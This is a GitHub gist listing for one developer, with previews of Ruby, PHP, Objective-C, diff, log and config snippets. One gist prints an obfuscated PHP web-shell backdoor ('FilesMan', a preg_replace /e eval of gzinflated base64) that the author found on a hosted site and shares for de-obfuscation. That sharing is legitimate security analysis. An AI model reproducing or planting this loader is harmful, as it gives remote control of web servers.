Skip to content

Instantly share code, notes, and snippets.

View chendo's full-sized avatar

chendo chendo

View GitHub Profile
@chendo
chendo / spec_options.rb
Last active December 18, 2015 00:38
Running individual specs in RubyMotion: When this file is placed in spec/helpers/ in a RubyMotion project, it lets you only run individual specs (`"t" statements) within a spec file.
def silence_warnings(&block)
warn_level = $VERBOSE
$VERBOSE = nil
begin
result = block.call
ensure
$VERBOSE = warn_level
end
result
end
@chendo
chendo / benchmark_hashie_mash.rb
Created May 28, 2013 06:55
Benchmarking Hashie::Mash
# Benchmark results on 1.9.3p392, OS X, iMac i7 3.4Ghz
# Rehearsal --------------------------------------------------------
# Hash hit 0.020000 0.000000 0.020000 ( 0.024836)
# Mash hit via method 0.330000 0.010000 0.340000 ( 0.327954)
# Mash hit via [] 0.140000 0.000000 0.140000 ( 0.137176)
# Hash miss 0.020000 0.000000 0.020000 ( 0.025503)
# Mash miss via method 0.730000 0.000000 0.730000 ( 0.730849)
# Mash miss via [] 0.140000 0.000000 0.140000 ( 0.136285)
# ----------------------------------------------- total: 1.390000sec
Debug: Augeas[buildAgent.properties](provider=augeas): Opening augeas with root /, lens path , flags 64
Debug: Augeas[buildAgent.properties](provider=augeas): Augeas version 0.10.0 is installed
Warning: Augeas[buildAgent.properties](provider=augeas): Loading failed for one or more files, see debug for /augeas//error output
Debug: Augeas[buildAgent.properties](provider=augeas): Will attempt to save and only run if files changed
Debug: Augeas[buildAgent.properties](provider=augeas): sending command 'set' with params ["/files/var/tainted/build-agent/conf/buildAgent.properties/name", "agent-ci01"]
Debug: Augeas[buildAgent.properties](provider=augeas): sending command 'set' with params ["/files/var/tainted/build-agent/conf/buildAgent.properties/serverUrl", "http://localhost:8111"]
Debug: Augeas[buildAgent.properties](provider=augeas): sending command 'set' with params ["/files/var/tainted/build-agent/conf/buildAgent.properties/workDir", "/ram/build-work"]
Debug: Augeas[buildAgent.properties](provider=augeas): Clos
@chendo
chendo / 1_original.php
Last active May 11, 2017 14:30
Found a PHP backdoor on some site I help host. Below is the obfuscated version and the unobfuscation.
<?php
//$auth_pass = "8a4bf282852bf4c49e17f0951f645e72";
//$color = "#df5";
//$default_action = "FilesMan";
//$default_charset = "Windows-1251";
//preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/O7ddnZ++7H+Ctu/tq/+jMvqywCvv6P39j8FOaR264O3KnccTazAlD57ZsvQqCke9aVWad+vNwhg/vTo9eBDE+eU7XCftj79oN8fU3Zzpwb/DpxJn0fPhY2eKoh0HoOv1xWS/CiVjJwccKh8EfD2iO4nAWRMtorsqMbK3dZkPHj9ykFvJn7DoDNyxT7o1Grc6e1J+woyBmB8F8OrAlZfLHvfFi7dPd//wN/t+J3Cjygmk3ip0wLmOeHTcMg7AburMgjL3pqFynr97U60ZuXLZ5sh+M7OrRh7dvzUT43CWAyK6m8k2cm6574/bnMZYXexNXgkAyvXd9b+LF5eTjxBl5/e4f8yB2o244nyKQSB64Q2/qlm1ov9PD4yO7yuxmbZMqjU08SucezfplwQmPhvNpH4lgn06PoS+8WeQ70diFHiGW4ECPQjeeh1PmRV3OKDLxOWccQD8r2ykMNnYcB2uxPNRA3iNo9kel7vvj0zNgwgwJlIBwAKYIXUTB22DkTcuctoHnlq3tPjCIG3a2gfUmbOLG42DQBr6KO++dKFoE4aDFtr3pbB6z+HbmtmfiK5s6E/7W0ZOjeQ8an107/txt252O3dneQMzwRx
@chendo
chendo / vendor.diff
Created May 23, 2013 14:31
This diff fixes a RubyMotion bug where vendored Xcode projects doesn't find the static libs.
diff --git a/lib/motion/project/vendor.rb b/lib/motion/project/vendor.rb
index 0dccdff..9a94a3b 100644
--- a/lib/motion/project/vendor.rb
+++ b/lib/motion/project/vendor.rb
@@ -166,16 +166,17 @@ EOS
# Unset environment variables that could potentially make the build
# to fail.
%w{CC CXX CFLAGS CXXFLAGS LDFLAGS}.each { |f| ENV[f] &&= nil }
-
+
__block NSMutableDictionary *elementHash = [[NSMutableDictionary alloc] initWithCapacity:filteredElements.count];
[filteredElements each:^(SCElementMatch *match) {
// Add hash here
elementHash[match.element] = @{@"label": @"foo"};
}];
DLog(@"ElementHash: %@", elementHash);
// Keys are all there, but most of the values are null, except for a few
Pod::Spec.new do |s|
s.name = "MASShortcut"
s.version = "1.2"
s.summary = "Modern framework for managing global keyboard shortcuts compatible with Mac App Store."
s.description = <<-DESC
Some time ago Cocoa developers used a brilliant framework ShortcutRecorder for managing keyboard shortcuts in application preferences. However, it became incompatible with a new plugin architecture of Xcode 4.
The project MASShortcut introduces modern API and user interface for recording, storing and using global keyboard shortcuts. All code is compatible with Xcode 4.3, Mac OS X 10.7 and the sandboxed environment.
DESC
s.homepage = "http://blog.shpakovski.com/2012/07/global-keyboard-shortcuts-in-cocoa.html"
@chendo
chendo / gist:5361523
Created April 11, 2013 07:49
Slap this in ~/.ssh/config to route github.com access over SSH via another server to get around routing issues.
Host github.com
ProxyCommand ssh -qxT <ssh server you have access to> nc %h %p
@chendo
chendo / lolify.md
Last active December 12, 2015 03:29
lolify.

Lolify!

Based on this image: Black Adder

Bookmarklet

Go to http://fiddle.jshell.net/Sb7rF/show/ and drag the Lolify! link from there because Github Markdown prevents bookmarklets.

Instructions:

@chendo
chendo / Objective-C Single File.sublime-build
Created December 28, 2012 13:58
Sublime Text 2 Build System to build and run the active Objective-C file. Good for playing around with small code snippets. Needs clang. Place in ~/Library/Application Support/Sublime Text 2/Packages/User
{
"cmd": ["bash", "-c", "clang -lobjc -framework Cocoa -framework Carbon -o /tmp/sublime-objc-output $file"],
"file_regex": "^(.*?):([0-9]+):([0-9]+): (.*)",
"selector": "source.objc",
"variants": [
{
"name": "Run",
"cmd": ["bash", "-c", "clang -lobjc -framework Cocoa -framework Carbon -o /tmp/sublime-objc-output $file && /tmp/sublime-objc-output"]
}
]